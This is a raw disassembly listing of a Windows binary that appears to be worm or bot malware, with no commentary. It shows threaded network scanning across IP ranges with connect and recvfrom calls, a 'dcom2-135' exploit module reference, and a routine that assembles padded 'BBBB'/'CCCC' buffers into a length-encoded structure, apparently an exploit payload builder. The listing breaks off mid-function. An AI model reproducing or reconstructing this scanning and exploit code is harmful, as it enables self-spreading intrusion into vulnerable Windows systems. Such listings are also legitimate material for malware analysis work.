jmp short loc_40A834 ; --------------------------------------------------------------------------- loc_40A7C8: ; CODE XREF: .data:0040A79Aj push 10038h lea eax, [ebp-10110h] push ebx push eax call sub_417700 add esp, 0Ch jmp short loc_40A7FF ; --------------------------------------------------------------------------- loc_40A7DF: ; CODE XREF: .data:0040A806j lea eax, [ebp-4] push eax lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-10110h] push 10038h push eax push esi call dword_4D6640 ; recvfrom test eax, eax jl short loc_40A829 loc_40A7FF: ; CODE XREF: .data:0040A7DDj cmp [ebp-100FAh], di jnz short loc_40A7DF push esi call dword_4D6700 ; closesocket cmp word ptr [ebp-100EAh], 1 jnz short loc_40A83D push offset aSocketOpen_ ; "Socket open." call sub_40F927 xor eax, eax pop ecx inc eax jmp short loc_40A84A ; --------------------------------------------------------------------------- loc_40A829: ; CODE XREF: .data:0040A7FDj push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_40F927 pop ecx loc_40A834: ; CODE XREF: .data:0040A7C6j push esi call dword_4D6700 ; closesocket jmp short loc_40A848 ; --------------------------------------------------------------------------- loc_40A83D: ; CODE XREF: .data:0040A817j push offset aSocketClosed_ ; "Socket closed." loc_40A842: ; CODE XREF: .data:0040A77Aj call sub_40F927 pop ecx loc_40A848: ; CODE XREF: .data:0040A83Bj xor eax, eax loc_40A84A: ; CODE XREF: .data:0040A827j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A84F proc near ; DATA XREF: sub_40AA63+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_4E036C ; GetTickCount push eax call sub_417DB0 mov ebx, esi pop ecx imul ebx, 234h jmp loc_40AA40 ; --------------------------------------------------------------------------- loc_40A89B: ; CODE XREF: sub_40A84F+1FFj cmp [ebp+var_10], 0 push eax jz short loc_40A8B1 lea eax, [ebp+var_150] push eax call sub_40A547 pop ecx jmp short loc_40A8B6 ; --------------------------------------------------------------------------- loc_40A8B1: ; CODE XREF: sub_40A84F+51j call sub_40A4FF loc_40A8B6: ; CODE XREF: sub_40A84F+60j pop ecx mov edi, eax push [ebp+arg_0] push dword_4495A4[ebx] push [ebp+var_3C] push edi call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_43F72C push eax call sub_417CB0 lea eax, [ebp+var_28C] push eax lea eax, dword_4493A0[ebx] push eax call sub_417CB0 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40A5E3 add esp, 2Ch cmp eax, 1 jnz loc_40AA35 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40A98A push offset dword_4D87B8 call dword_4E03A8 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_43F764 push eax call sub_417CB0 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40A96C cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40A960 lea eax, [ebp+var_140] loc_40A960: ; CODE XREF: sub_40A84F+109j push eax push [ebp+var_40] call sub_40764A add esp, 14h loc_40A96C: ; CODE XREF: sub_40A84F+EEj lea eax, [ebp+var_28C] push eax call sub_40F927 mov [esp+2A8h+var_2A8], offset dword_4D87B8 call dword_4E03A4 ; RtlLeaveCriticalSection jmp loc_40AA35 ; --------------------------------------------------------------------------- loc_40A98A: ; CODE XREF: sub_40A84F+BEj push edi call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_417CB0 mov eax, [ebp+var_20] shl eax, 6 add eax, offset aDcom2135 ; "dcom2-135" push eax lea eax, [ebp+var_178] push eax call sub_417CB0 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40A9CE lea eax, [ebp+var_140] loc_40A9CE: ; CODE XREF: sub_40A84F+177j push eax lea eax, [ebp+var_1F8] push eax call sub_417CB0 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43F06C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40AA35: ; CODE XREF: sub_40A84F+B4j ; sub_40A84F+136j push 7D0h call dword_4E033C ; Sleep loc_40AA40: ; CODE XREF: sub_40A84F+47j mov eax, dword_4495A4[ebx] cmp dword_4D67BC[eax*8], 0 jnz loc_40A89B push esi call sub_409979 pop ecx push 0 call dword_4E03A0 ; ExitThread sub_40A84F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA63 proc near ; DATA XREF: sub_401C87+1B63o ; sub_401C87+486Ao var_20C = dword ptr -20Ch var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_14C] inc ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4D66A8 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4D67B8[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40A01B push 0Bh call sub_4098A5 add esp, 150h cmp eax, ebx jnz short loc_40AB31 mov esi, offset dword_4D87B8 push esi call dword_4E03B0 ; RtlDeleteCriticalSection push 80000400h push esi call dword_4E03AC ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40AB31 lea eax, [ebp+var_1CC] push offset unk_43F78C push eax call sub_417CB0 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40AB1B push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40764A add esp, 14h loc_40AB1B: ; CODE XREF: sub_40AA63+99j lea eax, [ebp+var_1CC] push eax call sub_40F927 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40AB31: ; CODE XREF: sub_40AA63+63j ; sub_40AA63+7Fj mov eax, [ebp+var_2C] mov esi, dword_4E033C mov edi, ebx mov dword_4D67BC[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40ABF3 loc_40AB4F: ; CODE XREF: sub_40AA63+18Aj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_43F7C0 push eax call sub_417CB0 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_409663 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_4495A4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40A84F push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_40AC0A call dword_4E0350 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_43F7F4 push eax call sub_417CB0 lea eax, [ebp+var_1CC] push eax call sub_40F927 add esp, 10h loc_40ABE5: ; CODE XREF: sub_40AA63+1ACj push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40AB4F loc_40ABF3: ; CODE XREF: sub_40AA63+E6j cmp [ebp+var_30], ebx jz short loc_40AC18 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep jmp short loc_40AC25 ; --------------------------------------------------------------------------- loc_40AC06: ; CODE XREF: sub_40AA63+1AAj push 1Eh call esi ; Sleep loc_40AC0A: ; CODE XREF: sub_40AA63+159j cmp [ebp+var_4], ebx jz short loc_40AC06 jmp short loc_40ABE5 ; --------------------------------------------------------------------------- loc_40AC11: ; CODE XREF: sub_40AA63+1C0j push 7D0h call esi ; Sleep loc_40AC18: ; CODE XREF: sub_40AA63+193j mov eax, [ebp+var_2C] cmp dword_4D67BC[eax*8], 1 jz short loc_40AC11 loc_40AC25: ; CODE XREF: sub_40AA63+1A1j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4D67B8[eax*8] push eax call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_43F82C push eax call sub_417CB0 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40AC73 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40764A add esp, 14h loc_40AC73: ; CODE XREF: sub_40AA63+1F1j lea eax, [ebp+var_1CC] push eax call sub_40F927 mov eax, [ebp+var_2C] mov [esp+20Ch+var_20C], 0BB8h mov dword_4D67BC[eax*8], ebx call esi ; Sleep push 0Bh call sub_4098A5 cmp eax, 1 pop ecx jnz short loc_40ACAA push offset dword_4D87B8 call dword_4E03B0 ; RtlDeleteCriticalSection loc_40ACAA: ; CODE XREF: sub_40AA63+23Aj push [ebp+var_2C] call sub_409979 pop ecx push ebx call dword_4E03A0 ; ExitThread sub_40AA63 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ACBA proc near ; DATA XREF: sub_40AD87+7Bo ; sub_40AE78+7Bo var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 10h rep movsd xor esi, esi push 0 inc esi mov [eax+0A8h], esi lea eax, [ebp+var_10] push eax call sub_417700 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4D6668 ; ntohs mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4D66E8 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40AD78 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4D6610 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_4495AC[ecx], esi jz short loc_40AD78 push [ebp+var_38] push [ebp+var_28] call dword_4D66F4 ; inet_ntoa push eax mov edi, offset dword_4D9178 push offset unk_43F86C push edi call sub_417CB0 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_40764A push edi call sub_40F927 add esp, 28h loc_40AD78: ; CODE XREF: sub_40ACBA+5Dj ; sub_40ACBA+7Ej push esi call dword_4D6700 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_40ACBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40AD87 proc near ; DATA XREF: sub_401C87+4C87o var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, dword_4E033C mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40ADB5: ; CODE XREF: sub_40AD87+ECj push [ebp+var_30] push [ebp+var_20] call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_134] push offset unk_43F894 push eax call sub_417CB0 lea eax, [ebp+var_134] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_4493A0 push eax call sub_417760 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40ACBA push edi push edi call dword_4E0340 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40AE21 jmp short loc_40AE1C ; --------------------------------------------------------------------------- loc_40AE18: ; CODE XREF: sub_40AD87+98j push 32h call esi ; Sleep loc_40AE1C: ; CODE XREF: sub_40AD87+8Fj cmp [ebp+var_C], edi jz short loc_40AE18 loc_40AE21: ; CODE XREF: sub_40AD87+8Dj push [ebp+var_4] call dword_4E032C ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_419330 add esp, 0Ch push [ebp+arg_0] call dword_4D6590 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_4D6664 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_419330 add esp, 0Ch jmp loc_40ADB5 sub_40AD87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE78 proc near ; DATA XREF: sub_401C87+49A2o var_130 = byte ptr -130h var_B0 = dword ptr -0B0h var_AC = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_4E033C mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40AEA6: ; CODE XREF: sub_40AE78+BCj push [ebp+var_2C] push [ebp+var_1C] call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_43F8BC push eax call sub_417CB0 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_4493A0 push eax call sub_417760 add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40ACBA push edi push edi call dword_4E0340 ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40AF12 jmp short loc_40AF0D ; --------------------------------------------------------------------------- loc_40AF09: ; CODE XREF: sub_40AE78+98j push 32h call esi ; Sleep loc_40AF0D: ; CODE XREF: sub_40AE78+8Fj cmp [ebp+var_8], edi jz short loc_40AF09 loc_40AF12: ; CODE XREF: sub_40AE78+8Dj push [ebp+arg_0] call dword_4E032C ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40AF39 inc [ebp+var_2C] jmp loc_40AEA6 ; --------------------------------------------------------------------------- loc_40AF39: ; CODE XREF: sub_40AE78+B7j push [ebp+var_1C] call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_43F8E8 push eax call sub_417CB0 push edi lea eax, [ebp+var_130] push [ebp+var_14] push eax lea eax, [ebp+var_AC] push eax push [ebp+var_B0] call sub_40764A push [ebp+var_20] call sub_409979 add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40AE78 endp ; =============== S U B R O U T I N E ======================================= sub_40AF85 proc near ; CODE XREF: sub_40B21F+Ep ; sub_40B21F+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40AF85 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push dword ptr [ebp+8] call sub_414EC0 pop ecx push eax lea ecx, [ebp-8] push dword ptr [ebp+8] call sub_40AFBD mov ecx, [eax] mov [esi], ecx mov eax, [eax+4] mov [esi+4], eax mov eax, esi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= sub_40AFBD proc near ; CODE XREF: .data:0040AFA7p ; sub_40B21F+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_415090 mov edi, eax pop ecx test edi, edi jz short loc_40AFEF push ebx push 0 push edi call sub_417700 push ebx push [esp+1Ch+arg_0] push edi call sub_419330 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40AFEF: ; CODE XREF: sub_40AFBD+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40AFBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFF7 proc near ; CODE XREF: sub_40B0E9+18p ; sub_40B163+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx mov ecx, [ebp+arg_C] push esi push edi lea edi, [eax+ecx] push edi call sub_415090 mov esi, eax pop ecx test esi, esi jz short loc_40B043 push edi push 0 push esi call sub_417700 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_419330 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_419330 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40B043: ; CODE XREF: sub_40AFF7+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40AFF7 endp ; =============== S U B R O U T I N E ======================================= sub_40B04C proc near ; CODE XREF: sub_40B0E9+5Ep ; sub_40B0E9+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40B05C push eax call sub_415C20 pop ecx loc_40B05C: ; CODE XREF: sub_40B04C+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40B04C endp ; =============== S U B R O U T I N E ======================================= sub_40B065 proc near ; CODE XREF: sub_40B0E9+20p ; sub_40B1C4+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40B08F xor ebx, ebx cmp eax, 7Fh setnl bl lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_415090 mov edi, eax pop ecx test edi, edi jnz short loc_40B093 loc_40B08F: ; CODE XREF: sub_40B065+Dj xor al, al jmp short loc_40B0E5 ; --------------------------------------------------------------------------- loc_40B093: ; CODE XREF: sub_40B065+28j mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_417700 add esp, 0Ch cmp ebx, 1 jnz short loc_40B0B3 mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_40B0C8 ; --------------------------------------------------------------------------- loc_40B0B3: ; CODE XREF: sub_40B065+42j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_40B0C8: ; CODE XREF: sub_40B065+4Cj push dword ptr [esi+4] push dword ptr [esi] push eax call sub_419330 add esp, 0Ch push dword ptr [esi] call sub_415C20 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40B0E5: ; CODE XREF: sub_40B065+2Cj pop edi pop esi pop ebx retn sub_40B065 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0E9 proc near ; CODE XREF: sub_40B21F+89p ; sub_40B21F+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset byte_4D9380 call sub_40AFF7 lea ecx, [ebp+var_8] call sub_40B065 mov eax, [ebp+var_4] inc eax push eax call sub_415090 mov edi, eax pop ecx test edi, edi jnz short loc_40B123 xor al, al jmp short loc_40B15F ; --------------------------------------------------------------------------- loc_40B123: ; CODE XREF: sub_40B0E9+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_417700 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_419330 add esp, 18h mov ecx, esi call sub_40B04C mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40B04C mov al, 1 loc_40B15F: ; CODE XREF: sub_40B0E9+38j pop edi pop esi leave retn sub_40B0E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B163 proc near ; CODE XREF: sub_40B197+14p ; sub_40B1B4+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40AFF7 mov ecx, esi call sub_40B04C mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40B163 endp ; =============== S U B R O U T I N E ======================================= sub_40B197 proc near ; CODE XREF: sub_40B21F+F0p ; sub_40B21F+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_414EC0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40B163 pop esi retn 4 sub_40B197 endp ; =============== S U B R O U T I N E ======================================= sub_40B1B4 proc near ; CODE XREF: sub_40B200+Bp ; sub_40B21F+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B163 retn 8 sub_40B1B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1C4 proc near ; CODE XREF: sub_40B200+16p ; sub_40B21F+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40B065 test al, al jz short loc_40B1FD push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_43FC8F+1) call sub_40AFF7 mov ecx, esi call sub_40B04C mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40B1FD: ; CODE XREF: sub_40B1C4+Fj pop esi leave retn sub_40B1C4 endp ; =============== S U B R O U T I N E ======================================= sub_40B200 proc near ; CODE XREF: sub_40B21F+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40B1B4 test al, al jz short loc_40B21B mov ecx, esi call sub_40B1C4 loc_40B21B: ; CODE XREF: sub_40B200+12j pop esi retn 8 sub_40B200 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B21F proc near ; CODE XREF: .data:0040BA73p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40AF85 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40B563 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40B563 push esi lea ecx, [ebp+var_30] call sub_40AF85 lea ecx, [ebp+var_20] call sub_40AF85 lea ecx, [ebp+var_50] call sub_40AF85 lea ecx, [ebp+var_18] call sub_40AF85 lea ecx, [ebp+var_40] call sub_40AF85 lea ecx, [ebp+var_38] call sub_40AF85 lea ecx, [ebp+var_28] call sub_40AF85 push 4 push offset dword_43F924 lea ecx, [ebp+var_30] call sub_40B163 push 3 push offset dword_43F92C lea ecx, [ebp+var_30] call sub_40B163 lea ecx, [ebp+var_30] call sub_40B0E9 lea ecx, [ebp+var_30] call sub_40B1C4 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_417700 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40B163 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40B163 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40B163 lea ecx, [ebp+var_20] call sub_40B0E9 push offset loc_43FC94 lea ecx, [ebp+var_50] call sub_40B197 lea ecx, [ebp+var_50] call sub_40B0E9 push esi lea eax, [ebp+var_858] push 44h push eax call sub_417700 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40AFBD lea ecx, [ebp+var_58] call sub_40B0E9 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40B200 lea ecx, [ebp+var_58] call sub_40B04C push esi lea eax, [ebp+var_858] push 43h push eax call sub_417700 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40B197 push 4 push offset dword_43F930 lea ecx, [ebp+var_18] call sub_40B163 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40B163 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40B163 lea ecx, [ebp+var_18] call sub_40B0E9 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40B1B4 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40B1B4 lea ecx, [ebp+var_40] call sub_40B1C4 lea ecx, [ebp+var_18] call sub_40B04C lea ecx, [ebp+var_50] call sub_40B04C push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40B1B4 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40B1B4 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40B1B4 lea ecx, [ebp+var_38] call sub_40B1C4 lea ecx, [ebp+var_20] call sub_40B04C lea ecx, [ebp+var_30] call sub_40B04C lea ecx, [ebp+var_40] call sub_40B04C push esi lea eax, [ebp+var_858] push 41h push eax call sub_417700 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40B163 lea ecx, [ebp+var_28] call sub_40B0E9 push 2 push offset dword_43FCA8 lea ecx, [ebp+var_28] call sub_40B163 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40B1B4 lea ecx, [ebp+var_28] call sub_40B1C4 lea ecx, [ebp+var_38] call sub_40B04C lea ecx, [ebp+var_10] call sub_40AF85 lea ecx, [ebp+var_8] call sub_40AF85 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40B1B4 lea ecx, [ebp+var_10] call sub_40B065 lea ecx, [ebp+var_28] call sub_40B04C push offset byte_43FCAC lea ecx, [ebp+var_8] call sub_40B197 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40B1B4 lea ecx, [ebp+var_8] call sub_40B065 lea ecx, [ebp+var_10] call sub_40B04C push offset word_43FCAE lea ecx, [ebp+var_10] call sub_40B197 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40B1B4 lea ecx, [ebp+var_10] call sub_40B065 lea ecx, [ebp+var_8] call sub_40B04C push offset dword_43FCB0 lea ecx, [ebp+var_8] call sub_40B197 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40B1B4 lea ecx, [ebp+var_8] call sub_40B065 lea ecx, [ebp+var_10] call sub_40B04C push (offset aA_1+2) lea ecx, [ebp+var_48] call sub_40B197 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40B1B4 lea ecx, [ebp+var_8] call sub_40B04C pop esi loc_40B563: ; CODE XREF: sub_40B21F+1Bj ; sub_40B21F+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop edi pop ebx 